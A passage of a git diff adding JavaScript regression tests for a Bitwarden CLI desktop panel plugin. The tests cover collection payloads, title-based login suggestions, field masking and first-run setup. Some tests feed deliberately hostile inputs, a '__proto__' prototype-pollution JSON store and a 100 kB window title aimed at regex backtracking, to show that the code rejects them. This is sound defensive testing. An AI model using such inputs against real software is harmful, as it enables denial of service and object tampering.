path = require("path") +const Model = {} +new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8") + .replace(/^\.pragma library\s*$/m, "") + ` + exports.listOrgCollectionsCommand = listOrgCollectionsCommand + exports.parseCollections = parseCollections + exports.collectionName = collectionName + exports.buildCreatePayload = buildCreatePayload + exports.buildEditPayload = buildEditPayload + exports.validateItemForm = validateItemForm +`)(Model) + +let pass = 0 +const failures = [] +const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`) + +// --- command --- +check("collections are listed per organization with a producer-side byte limit", + Model.listOrgCollectionsCommand("o1").join(" ").includes("bw list org-collections --organizationid o1") + && Model.listOrgCollectionsCommand("o1").join(" ").includes("head -c"), + Model.listOrgCollectionsCommand("o1").join(" ")) +check("the session is not on the command line", + !Model.listOrgCollectionsCommand("o1").join(" ").includes("--session"), "expected no --session") + +// --- parsing --- +const cols = Model.parseCollections(JSON.stringify([ + { object: "org-collection", id: "c2", organizationId: "o1", name: "Ops", externalId: null }, + { object: "org-collection", id: "c1", organizationId: "o1", name: "admin", externalId: null }, + { object: "org-collection", name: "no id at all" }, +])) +check("collections sort case-insensitively", cols.map(c => c.name).join(",") === "admin,Ops", cols.map(c => c.name).join(",")) +check("an entry without an id is dropped", cols.length === 2, JSON.stringify(cols)) +check("organizationId is carried through", cols[0].organizationId === "o1", JSON.stringify(cols[0])) +check("malformed JSON yields an empty list", + Model.parseCollections("{{").length === 0 && Model.parseCollections("").length === 0, "expected []") +check("collectionName resolves a known id", Model.collectionName(cols, "c2") === "Ops", Model.collectionName(cols, "c2")) +check("collectionName is empty for an unknown id", Model.collectionName(cols, "zz") === "", "expected empty") + +// --- payloads --- +// A personal item has no collections; sending the key at all would be wrong. +check("a personal item carries no collectionIds", + !("collectionIds" in Model.buildCreatePayload(1, "n", "", "", "", "", "", false, null, null, ["c1"])), + "expected the key to be absent") +check("an org item carries the chosen collections", + JSON.stringify(Model.buildCreatePayload(1, "n", "", "", "", "", "", false, "o1", null, ["c1", "c2"]).collectionIds) + === JSON.stringify(["c1", "c2"]), "expected both ids") +// Callers that predate collections pass ten arguments; they must not start +// sending an empty array, which is not the same as sending nothing. +check("an org item with no collections omits the key rather than sending []", + !("collectionIds" in Model.buildCreatePayload(1, "n", "", "", "", "", "", false, "o1", null)), + "expected the key to be absent") + +const existing = { rawObject: { id: "1", type: 1, organizationId: "o1", collectionIds: ["keep"], login: {} } } +check("editing keeps existing collections when none are supplied", + JSON.stringify(Model.buildEditPayload(existing, "n", "", "", "", "", "", false, "o1", null).collectionIds) + === JSON.stringify(["keep"]), "expected the existing ids to survive") +check("editing replaces collections when new ones are supplied", + JSON.stringify(Model.buildEditPayload(existing, "n", "", "", "", "", "", false, "o1", null, ["c9"]).collectionIds) + === JSON.stringify(["c9"]), "expected the new ids") +check("moving an item to a personal vault drops its collections", + !("collectionIds" in Model.buildEditPayload(existing, "n", "", "", "", "", "", false, null, null, [])), + "expected the key to be removed") + +// --- validation --- +// Bitwarden rejects an org item with no collection, so say so before the CLI does. +check("an org item with no collection is refused", + Model.validateItemForm("n", "o1", []) !== "", Model.validateItemForm("n", "o1", [])) +check("an org item with a collection is accepted", + Model.validateItemForm("n", "o1", ["c1"]) === "", Model.validateItemForm("n", "o1", ["c1"])) +check("a personal item needs no collection", + Model.validateItemForm("n", null, []) === "" && Model.validateItemForm("n", "personal", []) === "", + "expected personal items to pass") +check("a blank title is still refused first", + Model.validateItemForm(" ", "o1", ["c1"]).includes("title"), Model.validateItemForm(" ", "o1", ["c1"])) + +console.log(`${pass} passed, ${failures.length} failed`) +if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) } diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/context-match.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/context-match.test.js new file mode 100644 index 0000000..53479ba --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/context-match.test.js @@ -0,0 +1,329 @@ +#!/usr/bin/env node +// Regression tests for the context-aware suggestion matcher in BitwardenModel.js. +// +// The matcher is heuristic and works from window titles alone, so it is easy to +// regress in both directions: too strict and the right login stops appearing, +// too loose and every .com item is suggested on every site. Run with: +// +// node tests/context-match.test.js + +const fs = require("fs") +const path = require("path") + +const src = fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8") +const Model = {} +new Function("exports", src.replace(/^\.pragma library\s*$/m, "") + ` + exports.findContextualMatches = findContextualMatches + exports.cleanWindowContext = cleanWindowContext + exports.parseHost = parseHost + exports.parseAssociations = parseAssociations + exports.serializeAssociations = serializeAssociations + exports.recordAssociation = recordAssociation + exports.forgetAssociation = forgetAssociation + exports.isAssociated = isAssociated + exports.emptyAssociations = emptyAssociations + exports.MAX_TITLE_CHARS = MAX_TITLE_CHARS + exports.MAX_ASSOC_BYTES = MAX_ASSOC_BYTES +`)(Model) + +const items = [ + { id: "1", name: "GitHub", uris: ["https://github.com"] }, + { id: "2", name: "Amazon", uris: ["https://www.amazon.com"] }, + { id: "3", name: "Home Assistant",uris: ["https://homeassistant.local:8123"] }, + { id: "4", name: "Google", uris: ["https://accounts.google.com"] }, + { id: "5", name: "Reddit", uris: ["https://reddit.com"] }, + { id: "6", name: "Proton Mail", uris: ["https://account.proton.me"] }, + { id: "7", name: "Cloudflare", uris: ["https://dash.cloudflare.com"] }, + { id: "8", name: "My Bank", uris: ["https://www.chase.com"] }, + { id: "9", name: "Netflix", uris: ["https://www.netflix.com"] }, + { id: "10", name: "Jellyfin", uris: ["http://192.168.1.50:8096"] }, + { id: "11", name: "GitHub (work)", uris: ["https://github.com"] }, + { id: "12", name: "BBC iPlayer", uris: ["https://www.bbc.co.uk"] }, + { id: "13", name: "Discord", uris: ["https://discord.com"] }, + { id: "14", name: "Slack", uris: ["https://acme.slack.com"] }, + { id: "15", name: "Spotify", uris: ["https://open.spotify.com"] }, + { id: "16", name: "Nextcloud", uris: ["https://cloud.example.org"] }, + { id: "17", name: "Router Admin", uris: ["http://192.168.1.1"] }, + { id: "18", name: "AWS Console", uris: ["https://console.aws.amazon.com"] }, +] + +// [window class, window title, expected suggestion names] +const cases = [ + // Site name lives in the title but the domain does not -- the common case. + ["chromium", "Settings – Home Assistant - Chromium", ["Home Assistant"]], + ["chromium", "Reddit - Dive into anything - Chromium", ["Reddit"]], + ["chromium", "Netflix - Chromium", ["Netflix"]], + ["chromium", "Proton Mail - Chromium", ["Proton Mail"]], + ["chromium", "Cloudflare Dashboard - Chromium", ["Cloudflare"]], + ["chromium", "Chase Online - Credit Cards, Mortgages, Auto - Chromium", ["My Bank"]], + ["chromium", "Jellyfin - Chromium", ["Jellyfin"]], + ["chromium", "Files - Nextcloud - Chromium", ["Nextcloud"]], + ["chromium", "Acme Corp Slack - Chromium", ["Slack"]], + ["chromium", "Spotify – Web Player - Chromium", ["Spotify"]], + ["chromium", "AWS Management Console - Chromium", ["AWS Console"]], + ["firefox", "BBC iPlayer - Home — Mozilla Firefox", ["BBC iPlayer"]], + ["chromium", "Discord | #general | My Server - Chromium", ["Discord"]], + + // Sign-in prefixes, unread counters and browser branding are noise. + ["firefox", "Sign in to GitHub · GitHub — Mozilla Firefox", ["GitHub", "GitHub (work)"]], + ["chromium", "(3) Inbox (1,204) - me@gmail.com - Gmail - Chromium", ["Google"]], + + // Brand alias: the title never says "google". + ["chromium", "Gmail - Chromium", ["Google"]], + ["chromium", "Untitled document - Google Docs - Chromium", ["Google"]], + + // A domain in the title must not drag in every item sharing its TLD. + ["chromium", "Amazon.com. Spend less. Smile more. - Chromium", ["Amazon", "AWS Console"]], + + // Nothing identifiable: suggest nothing rather than guess. + ["chromium", "New Tab - Chromium", []], + ["chromium", "Sign in - Chromium", []], + ["chromium", "How to fix config.json v1.2 errors - Stack Overflow - Chromium", []], + + // Terminals: local shells describe a machine, not a credential. + ["foot", "workstation: notes", []], + // ...and a remote host must not match a different domain sharing a label. + ["foot", "ssh user@git.example.com", []], + + // Native desktop apps match on window class. + ["discord", "Discord | #general", ["Discord"]], + ["spotify", "Spotify Premium", ["Spotify"]], +] + +// A large vault of .com sites: a single site must not suggest all of them. +const floodItems = ["github","amazon","google","reddit","proton","cloudflare","chase", + "netflix","discord","slack","spotify","dropbox","twitch","ebay","paypal","stripe", + "linode","digitalocean","namecheap","fastmail","zoom","notion","figma","linear", + "vercel","heroku","atlassian","gitlab","bitbucket","sentry","datadog","okta", + "auth0","twilio","sendgrid","mailgun","shopify","squarespace","wordpress","medium"] + .map((b, i) => ({ id: String(i), name: b, uris: ["https://www." + b + ".com"] })) + +let pass = 0 +const failures = [] + +function check(label, ok, detail) { + if (ok) { pass++ } else { failures.push(label + "\n " + detail) } +} + +const sshLike = { id: "ssh-public", name: "GitHub deploy key", typeCode: 5, + uris: ["https://github.com"], publicKey: "ssh-ed25519 AAAA" } +check("context suggestions exclude SSH public records", + Model.findContextualMatches(items.concat([sshLike]), + { class: "chromium", title: "GitHub - Chromium", mapped: true }).matches.every(m => m.id !== "ssh-public"), + "SSH key leaked into contextual suggestions") + +for (const [cls, title, expected] of cases) { + const got = Model.findContextualMatches(items, { class: cls, title, mapped: true }) + .matches.map(m => m.name).sort() + check(`[${cls}] ${title}`, + JSON.stringify(got) === JSON.stringify(expected.slice().sort()), + `expected [${expected}] but got [${got}]`) +} + +for (const [title, max] of [["Amazon.com. Spend less. Smile more. - Chromium", 1], + ["Some Random Blog Post About Nothing - Chromium", 0]]) { + const got = Model.findContextualMatches(floodItems, { class: "chromium", title, mapped: true }).matches + check(`flood: ${title}`, got.length <= max, + `expected at most ${max} suggestion(s) from a 40-item vault, got ${got.length}: [${got.map(g => g.name)}]`) +} + +// Hostname parsing feeds every domain comparison. +for (const [host, root, base] of [ + ["github.com", "github", "github.com"], + ["dash.cloudflare.com", "cloudflare", "cloudflare.com"], + ["www.bbc.co.uk", "bbc", "bbc.co.uk"], + ["homeassistant.local", "homeassistant", "homeassistant.local"], + ["console.aws.amazon.com", "amazon", "amazon.com"], +]) { + const p = Model.parseHost(host) + check(`parseHost(${host})`, p && p.rootName === root && p.baseDomain === base, + `expected root=${root} base=${base}, got root=${p && p.rootName} base=${p && p.baseDomain}`) +} + +// The most recently focused non-shell client wins in a `hyprctl clients` list. +const clients = [ + { class: "quickshell", title: "shell", focusHistoryID: 0, mapped: true }, + { class: "chromium", title: "Netflix - Chromium", focusHistoryID: 1, mapped: true }, + { class: "foot", title: "workstation: notes", focusHistoryID: 2, mapped: true }, +] +check("clients list picks most recent non-shell window", + Model.findContextualMatches(items, clients).matches.map(m => m.name).join() === "Netflix", + `got [${Model.findContextualMatches(items, clients).matches.map(m => m.name)}]`) + + +// --------------------------------------------------------------------------- +// Learned associations +// --------------------------------------------------------------------------- + +// The case that no title heuristic can solve: an authentik portal on +// auth.example.xyz titled "Home - authentik". The title and the stored URL +// share no word at all. +// Named so that neither the name nor the URL shares a word with the page title. +const authentikItem = { id: "auth-1", name: "Personal SSO", uris: ["https://auth.example.xyz"] } +const withAuthentik = items.concat([authentikItem]) +const authentikWindow = { class: "chromium", title: "Home - authentik - Chromium", mapped: true } + +let assoc = Model.emptyAssociations() + +check("authentik: unmatched before learning", + Model.findContextualMatches(withAuthentik, authentikWindow, assoc).matches.length === 0, + `got [${Model.findContextualMatches(withAuthentik, authentikWindow, assoc).matches.map(m => m.name)}]`) + +// Pick the credential once while that window is active. +const ctx = Model.cleanWindowContext(authentikWindow) +assoc = Model.recordAssociation(assoc, ctx, authentikItem.id, "2026-08-20T00:00:00Z") + +check("authentik: suggested after one pick", + Model.findContextualMatches(withAuthentik, authentikWindow, assoc).matches.map(m => m.id).join() === "auth-1", + `got [${Model.findContextualMatches(withAuthentik, authentikWindow, assoc).matches.map(m => m.name)}]`) + +// Learning generalises across pages of the same site, which share the word. +check("authentik: generalises to another page of the same site", + Model.findContextualMatches(withAuthentik, + { class: "chromium", title: "Applications - authentik - Chromium", mapped: true }, assoc) + .matches.map(m => m.id).join() === "auth-1", + "expected the learned item on a sibling page") + +check("authentik: does not leak to unrelated sites", + Model.findContextualMatches(withAuthentik, + { class: "chromium", title: "Netflix - Chromium", mapped: true }, assoc) + .matches.map(m => m.name).join() === "Netflix", + "a learned key must not fire on an unrelated title") + +check("isAssociated reports the learned pair", Model.isAssociated(assoc, ctx, "auth-1"), "expected true") + +// Last pick wins, so a key learned from the wrong page corrects itself. +const retargeted = Model.recordAssociation(assoc, ctx, "9", "2026-08-21T00:00:00Z") +check("re-picking retargets the key", + Model.findContextualMatches(withAuthentik, authentikWindow, retargeted).matches.map(m => m.id).join() === "9", + "expected the newly picked item to win") + +// Explicit unlearn. +const forgotten = Model.forgetAssociation(assoc, ctx, "auth-1") +check("forgetting removes the suggestion", + Model.findContextualMatches(withAuthentik, authentikWindow, forgotten).matches.length === 0, + "expected no suggestions after forgetting") + +// A learned item outranks a heuristic match on the same window. +let netflixAssoc = Model.recordAssociation(Model.emptyAssociations(), + Model.cleanWindowContext({ class: "chromium", title: "Netflix - Chromium", mapped: true }), "11") +check("learned item is ranked ahead of a heuristic match", + Model.findContextualMatches(items, { class: "chromium", title: "Netflix - Chromium", mapped: true }, netflixAssoc) + .matches[0].id === "11", + "expected the learned item first") + +// Round-tripping through the on-disk format must preserve behaviour. +const roundTripped = Model.parseAssociations(Model.serializeAssociations(assoc)) +check("associations survive a save/load round trip", + Model.findContextualMatches(withAuthentik, authentikWindow, roundTripped).matches.map(m => m.id).join() === "auth-1", + "expected the learned item after reload") + +check("corrupt association file degrades to empty", + Model.parseAssociations("{{not json").keys && Object.keys(Model.parseAssociations("{{not json").keys).length === 0, + "expected an empty store") + +const hostileAssociations = Model.parseAssociations( + '{"version":1,"keys":{"__proto__":{"polluted":true},"arbitrary":{"itemId":"x"},' + + '"word:valid":{"itemId":"auth-1","weight":1,"count":2,"updated":"2026-08-24T00:00:00Z"}}}') +const copiedHostile = Model.recordAssociation(hostileAssociations, ctx, "auth-1", "2026-12-31T00:00:00Z") +check("association parsing drops keys outside the domain/app/word schema", + !Object.prototype.hasOwnProperty.call(hostileAssociations.keys, "__proto__") + && !Object.prototype.hasOwnProperty.call(hostileAssociations.keys, "arbitrary") + && Object.prototype.hasOwnProperty.call(hostileAssociations.keys, "word:valid"), + Object.keys(hostileAssociations.keys).join(",")) +check("hostile association keys cannot become the prototype of a copied store", + copiedHostile.keys.polluted === undefined, JSON.stringify(copiedHostile.keys)) +check("association entries without a bounded string item id are dropped", + Object.keys(Model.parseAssociations( + '{"version":1,"keys":{"word:bad":{"itemId":{}},"word:good":{"itemId":"x"}}}').keys).join() + === "word:good", + "invalid item id survived") +check("unknown association schema versions fail closed", + Object.keys(Model.parseAssociations( + '{"version":999,"keys":{"word:old":{"itemId":"x"}}}').keys).length === 0, + "unknown schema was accepted") + +// Suggestions must still work with no association store at all. +check("undefined associations are safe", + Model.findContextualMatches(items, { class: "chromium", title: "Netflix - Chromium", mapped: true }) + .matches.map(m => m.name).join() === "Netflix", + "expected heuristics to work without a store") + + +// --------------------------------------------------------------------------- +// A window title is written by the page, not by the user +// --------------------------------------------------------------------------- +// +// Everything below is about one input: document.title, chosen by whatever the +// browser is pointed at, arriving here through hyprctl. It is read on every +// panel open, on the GUI thread, with the whole vault to compare it against. + +// The title reaches the matcher clipped, so the per-item work the matcher does +// over it cannot be scaled up by the page. +const longTitle = "verylongword".repeat(6000) +const clippedCtx = Model.cleanWindowContext({ class: "chromium", title: longTitle, mapped: true }) +check("a page-chosen title is clipped before matching", + clippedCtx.matchText.length <= Model.MAX_TITLE_CHARS + && clippedCtx.rawTitle.length <= Model.MAX_TITLE_CHARS, + `matchText=${clippedCtx.matchText.length} rawTitle=${clippedCtx.rawTitle.length}`) + +// The host scanner used to be a single unanchored regex, and a long run of +// letters with no dot in it drove it into quadratic backtracking: ~2.5s of +// frozen shell for a 63 kB title, growing with the square of the length. +// hyprctl hands over as much as a megabyte, so this is the honest size. +const hostileTitle = "a".repeat(100000) + " - Chromium" +const hostileWindow = { class: "chromium", title: hostileTitle, mapped: true } +const bigVault = [] +for (let i = 0; i < 2000; i++) { + bigVault.push({ id: `big-${i}`, name: `Account ${i}`, uris: [`https://site${i}example.com`] }) +} +const started = Date.now() +Model.findContextualMatches(bigVault, hostileWindow, Model.emptyAssociations()) +const elapsed = Date.now() - started +check("a hostile window title does not stall the matcher", elapsed < 2000, + `matching a 100 kB title against 2000 items took ${elapsed}ms`) + +// Splitting replaced the regex, so prove it still reads the same hosts out. +for (const [text, expected] of [ + ["Files - Nextcloud - cloud.example.org", "example.org"], + ["https://sub.example.co.uk/path", "example.co.uk"], + ["see .example.com now", "example.com"], + ["a..b.example.com", "example.com"], + ["config.json is not a host", null], + ["version 1.2.3.4 released", null], + ["nothing here at all", null], +]) { + const got = Model.cleanWindowContext({ class: "chromium", title: text, mapped: true }) + const base = got && got.detectedDomain ? got.detectedDomain.baseDomain : null + check(`host detection in ${JSON.stringify(text)}`, base === expected, + `expected ${expected}, got ${base}`) +} + +// Every word of a title becomes a stored key, and the store is read back +// through a byte cap that turns an oversized file into no file at all. The +// write side has to stay under that cap on its own. +let grown = Model.emptyAssociations() +for (let p = 0; p < 300; p++) { + const words = [] + for (let w = 0; w < 80; w++) words.push(`tok${p}x${w}zz`) + grown = Model.recordAssociation(grown, + Model.cleanWindowContext({ class: "chromium", title: words.join(" "), mapped: true }), + "auth-1", `2026-08-${String((p % 28) + 1).padStart(2, "0")}T00:00:00Z`) +} +const grownBytes = Model.serializeAssociations(grown).length +check("the association store stays inside the cap it is read back through", + grownBytes < Model.MAX_ASSOC_BYTES, + `store grew to ${grownBytes} bytes against a ${Model.MAX_ASSOC_BYTES} byte read cap`) + +// Trimming must not cost the most recent lesson. +const recentCtx = Model.cleanWindowContext(authentikWindow) +const stillLearned = Model.recordAssociation(grown, recentCtx, "auth-1", "2026-12-31T00:00:00Z") +check("the newest lesson survives trimming", + Model.findContextualMatches(withAuthentik, authentikWindow, stillLearned).matches.map(m => m.id).join() === "auth-1", + "expected the just-learned item to still be suggested") + +console.log(`${pass} passed, ${failures.length} failed`) +if (failures.length) { + console.error("\nFAILURES:\n " + failures.join("\n ")) + process.exit(1) +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/detail-field.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/detail-field.test.js new file mode 100644 index 0000000..8a17770 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/detail-field.test.js @@ -0,0 +1,182 @@ +#!/usr/bin/env node +// The detail screen draws every labelled, copyable field through DetailField. +// These assertions guard the properties that make a card safe to put on +// screen -- masking, empty-field suppression, and the promise that a copy +// still goes through the panel's one clipboard path. +// +// node tests/detail-field.test.js + +const fs = require("fs") +const path = require("path") + +const read = f => fs.existsSync(path.join(__dirname, "..", f)) + ? fs.readFileSync(path.join(__dirname, "..", f), "utf8") : "" + +const fieldSrc = read("DetailField.qml") +const panelSrc = read("Panel.qml") + +let pass = 0 +const failures = [] +const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`) + +check("DetailField exists", fieldSrc !== "", "DetailField.qml is missing") + +// --- the component itself ---------------------------------------------------- + +check("an empty field draws nothing at all", + /visible:\s*root\.value\s*!==\s*""/.test(fieldSrc), + "an identity fills in a handful of its fields; the rest must not leave labelled blanks") + +check("a sensitive field is masked until it is revealed", + /masked:\s*root\.sensitive\s*&&\s*!root\.revealed/.test(fieldSrc) + && /text:\s*root\.masked\s*\?\s*Model\.maskString\(root\.value\)\s*:\s*root\.value/.test(fieldSrc), + fieldSrc) + +check("the reveal button appears only on sensitive fields", + /visible:\s*root\.sensitive/.test(fieldSrc), fieldSrc) + +check("the component reports intent rather than reaching for the clipboard", + /signal copyRequested\(\)/.test(fieldSrc) + && /signal revealToggled\(\)/.test(fieldSrc) + && !/copyToClipboard/.test(fieldSrc), + "DetailField must not know how a copy is performed") + +check("field text is pinned to plain text", + /textFormat:\s*Text\.PlainText/.test(fieldSrc), fieldSrc) + +check("long values elide rather than pushing the row wider", + /elide:\s*Text\.ElideRight/.test(fieldSrc), fieldSrc) + +// --- how the detail screen uses it ------------------------------------------- + +const uses = panelSrc.match(/DetailField \{[\s\S]*?\n \}/g) || [] +check("the detail screen draws its fields through the component", + uses.length >= 14, `found ${uses.length} DetailField uses`) + +check("every use routes its copy through the panel's one clipboard path", + uses.every(u => /onCopyRequested:\s*root\.copyToClipboard\(/.test(u)), + uses.filter(u => !/onCopyRequested:\s*root\.copyToClipboard\(/.test(u)).join("\n---\n")) + +// A card number, a security code, an SSN, a passport and a licence. Nothing +// here can be rotated after it leaks, which is the argument for masking them +// that a password does not have. +for (const [label, value] of [ + ["Card Number", "number"], + ["Security Code", "code"], + ["Social Security Number", "ssn"], + ["Passport Number", "passportNumber"], + ["Licence Number", "licenseNumber"], +]) { + const use = uses.find(u => u.includes(`label: "${label}"`)) + check(`${label} is masked on screen`, + Boolean(use) && /sensitive:\s*true/.test(use), + use || `no DetailField labelled ${label}`) + check(`${label} reads the value the model parsed`, + Boolean(use) && use.includes(value), use || "") +} + +// Brand and cardholder are printed on the front of the card in plain sight; +// masking them would be theatre. +for (const label of ["Brand", "Cardholder Name", "Expires"]) { + const use = uses.find(u => u.includes(`label: "${label}"`)) + check(`${label} is not needlessly masked`, + Boolean(use) && !/sensitive:\s*true/.test(use), use || `no DetailField labelled ${label}`) +} + +// --- reveals are per field --------------------------------------------------- +// +// One shared flag served every masked field to begin with, which was invisible +// while a login had exactly one secret. A card has two and an identity three, +// so revealing a card number also uncovered its security code, and an identity +// showed its social security, passport and licence numbers together. + +const revealKeys = uses + .filter(u => /sensitive:\s*true/.test(u)) + .map(u => (u.match(/revealed: root\.isFieldRevealed\("([^"]+)"\)/) || [])[1]) + +check("every masked field has a reveal key", revealKeys.every(Boolean), + JSON.stringify(revealKeys)) +check("no two masked fields share a reveal key", + new Set(revealKeys).size === revealKeys.length, JSON.stringify(revealKeys)) +check("each toggles only its own key", + uses.filter(u => /sensitive:\s*true/.test(u)).every(u => { + const shown = (u.match(/revealed: root\.isFieldRevealed\("([^"]+)"\)/) || [])[1] + const toggled = (u.match(/onRevealToggled: root\.toggleFieldReveal\("([^"]+)"\)/) || [])[1] + return shown && shown === toggled + }), "a field must reveal and hide the same key") + +check("no single shared reveal flag is left", + !/root\.passwordRevealed/.test(panelSrc), + "one flag for every masked field is what caused them to move together") + +check("toggling one key leaves the others alone", + /if \(next\[key\]\) delete next\[key\]\s*\n\s*else next\[key\] = true/.test(panelSrc), + "expected a per-key toggle over a copy of the map") + +// `v` cannot mean five things at once, so it reaches the one secret the item is +// mostly about and the tooltips only advertise it there. +check("v reaches the item's principal secret only", + /primaryRevealKey:\s*\n?\s*detailIsCard \? "cardNumber" : \(detailIsLoginLike \? "password" : ""\)/.test(panelSrc), + "expected a single primary key per item type") +check("the reveal hint is a property rather than a hardcoded (v)", + /property string revealHint: ""/.test(fieldSrc) + && !/\+ " \(v\)"/.test(fieldSrc), + "every masked field claimed the v shortcut") + +// --- the save does not hold the panel hostage -------------------------------- + +check("the form closes when the command is launched, not when it returns", + /createItemProc\.running = true[\s\S]{0,400}currentScreen = "main"/.test(panelSrc), + "the user should get the panel back immediately") + +check("only one save is in flight at a time", + /if \(pendingSave\) \{[\s\S]{0,140}return\s*\n\s*\}/.test(panelSrc), + "there is one process per kind; a second command would lose the first") + +check("a row still being saved cannot be edited", + /if \(item\.pending\) \{[\s\S]{0,120}Still saving/.test(panelSrc), + "editing it would race the save it is waiting on") + +check("nor deleted", + /if \(detailItem\.pending \|\| Model\.isPendingItemId\(detailItem\.id\)\)/.test(panelSrc), + "a create has no vault id to delete yet") + +check("a refused save puts the list back to what the vault holds", + /items = Model\.replaceItemById\(items, save\.id, save\.previous\)/.test(panelSrc), + "the panel must not keep showing something the vault rejected") + +check("and keeps what the user typed so it can be reopened", + /failedSave = \{ name: save\.name, form: save\.form \}/.test(panelSrc) + && /function reopenFailedSave\(\)/.test(panelSrc), + "a refused save must not cost the user their edit") + +check("a save that lands but cannot be sanitised drops its provisional row", + /if \(save && save\.isCreate\) items = Model\.replaceItemById\(items, save\.id, null\)/.test(panelSrc), + "a provisional row must not survive the reload that replaces it") + +check("the saving row is marked in the list", + /text: itemData\.pending \? "[^"]*" : Model\.itemTypeGlyph/.test(panelSrc), + "the user needs to see which row has not landed yet") + +// --- gating ------------------------------------------------------------------ + +check("login fields are gated on the type, not on 'not an SSH key'", + /readonly property bool detailIsLoginLike: detailTypeCode === 1 \|\| detailTypeCode === 2/.test(panelSrc) + && !/typeCode !== 5 && \(root\.detailPassword/.test(panelSrc), + "a card answers 'not an SSH key' too, and would draw an empty password row") + +check("card fields are drawn only for cards, identity fields only for identities", + (panelSrc.match(/visible: root\.detailIsCard/g) || []).length >= 5 + && (panelSrc.match(/visible: root\.detailIsIdentity/g) || []).length >= 8, + "each block must gate on its own type") + +check("an address is one copyable block, not seven rows", + /detailIdentityAddress/.test(panelSrc) + && /tooltipText: "Copy address"/.test(panelSrc), + "an address is copied as an address") + +console.log(`${pass} passed, ${failures.length} failed`) +if (failures.length) { + console.error("\nFAILURES:\n " + failures.join("\n ")) + process.exit(1) +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/first-run.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/first-run.test.js new file mode 100644 index 0000000..8497a69 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/first-run.test.js @@ -0,0 +1,266 @@ +#!/usr/bin/env node +// Tests for the first run: the state a machine is in the moment +// `omarchy plugin add ... --enable` finishes and before `bw` exists. +// +// The plugin is installed and enabled before the CLI it drives necessarily +// does -- `omarchy plugin add` installs the plugin and nothing else -- so the +// panel has to open on the setup screen, install what is missing from inside +// itself, and pick the vault up on its own once the install lands. None of +// that is reachable on a developer machine where everything is already there, +// which is exactly why it is pinned here. +// +// node tests/first-run.test.js + +const fs = require("fs") +const path = require("path") +const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8") + +const Model = {} +new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8") + .replace(/^\.pragma library\s*$/m, "") + ` + exports.parseDependencies = parseDependencies + exports.missingRequired = missingRequired + exports.setupGateActive = setupGateActive + exports.dependencyProbeOutcome = dependencyProbeOutcome + exports.missingPackages = missingPackages + exports.installPackagesCommand = installPackagesCommand + exports.fingerprintSetupCommand = fingerprintSetupCommand + exports.applicableDependencies = applicableDependencies + exports.dependencyCheckCommand = dependencyCheckCommand + exports.DEPENDENCIES = DEPENDENCIES +`)(Model) + +let pass = 0 +const failures = [] +const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`) +const bodyOf = name => { + const start = panelSrc.indexOf(`function ${name}(`) + if (start < 0) return "" + let depth = 0 + for (let i = panelSrc.indexOf("{", start); i < panelSrc.length; i++) { + if (panelSrc[i] === "{") depth++ + else if (panelSrc[i] === "}" && --depth === 0) return panelSrc.slice(start, i + 1) + } + return "" +} + +// A machine that has just installed the plugin and nothing else. The probe +// still answers for tools that are no longer on the wizard's list -- Omarchy +// ships those -- and parseDependencies must ignore what it was not asked +// about rather than inventing rows for it. +const FRESH = Model.parseDependencies( + "bw=0\nbw_version=\njq=0\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=0\nfingerprint_ready=0\nomarchy=1") +// The same machine after one trip through the setup screen's install button. +const INSTALLED = Model.parseDependencies( + "bw=1\nbw_version=2025.1.2\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=0\nomarchy=1") +// Required tools only. The optional ones stay absent, and must not gate. +const MINIMAL = Model.parseDependencies( + "bw=1\nbw_version=2025.1.2\njq=1\nwlcopy=1\nhyprctl=0\nsecrettool=0\nfprintd=0\nfingerprint_ready=0\nomarchy=1") + +// Omarchy's own base packages. The wizard must never ask for one of these: a +// first-run screen whose rows are green on every machine that can run this +// plugin buries the single row that is not. +const OMARCHY_BASE = ["wl-clipboard", "libsecret", "hyprland", "glib2", "systemd", "openssl"] + +// --- the gate --------------------------------------------------------------- +// Nothing is decided before the probe has actually run: a panel that gated on +// its own empty starting state would flash the setup screen on every launch. +check("gate: nothing is decided before the probe reports", + Model.setupGateActive(FRESH, false, false) === false, + "an unchecked dependency set closed the gate") + +check("gate: a missing required tool closes the gate", + Model.setupGateActive(FRESH, true, false) === true, + "bw absent did not close the gate") + +check("gate: the user can always step past it", + Model.setupGateActive(FRESH, true, true) === false, + "dismissing setup left the gate closed") + +check("gate: missing optional tools do not close it", + Model.setupGateActive(MINIMAL, true, false) === false, + `gated on optional tools: [${Model.missingRequired(MINIMAL).map(d => d.key)}]`) + +check("gate: opens once everything is installed", + Model.setupGateActive(INSTALLED, true, false) === false, + "a fully installed machine was still gated") + +// --- the first-run sequence ------------------------------------------------- +// Walked in order, because the bug this guards against is an ordering one: the +// panel probing `bw` before it knows whether `bw` exists lands the user on a +// login form that cannot succeed. +let probeStarted = false +let wasGated = false +const step = (deps, dismissed) => { + if (Model.missingRequired(deps).length > 0) wasGated = true + const outcome = Model.dependencyProbeOutcome(deps, dismissed, probeStarted, wasGated) + if (outcome === "probe") { + probeStarted = true + wasGated = false + } + return outcome +} + +check("first run: opens on setup rather than probing the vault", + step(FRESH, false) === "setup", + "a fresh machine did not land on setup") +check("first run: refreshStatus waits for the dependency answer before invoking bw", + /if\s*\(!depsChecked\)\s*\{[\s\S]{0,100}checkDependencies\(\)[\s\S]{0,40}return/.test(bodyOf("refreshStatus")), + bodyOf("refreshStatus")) 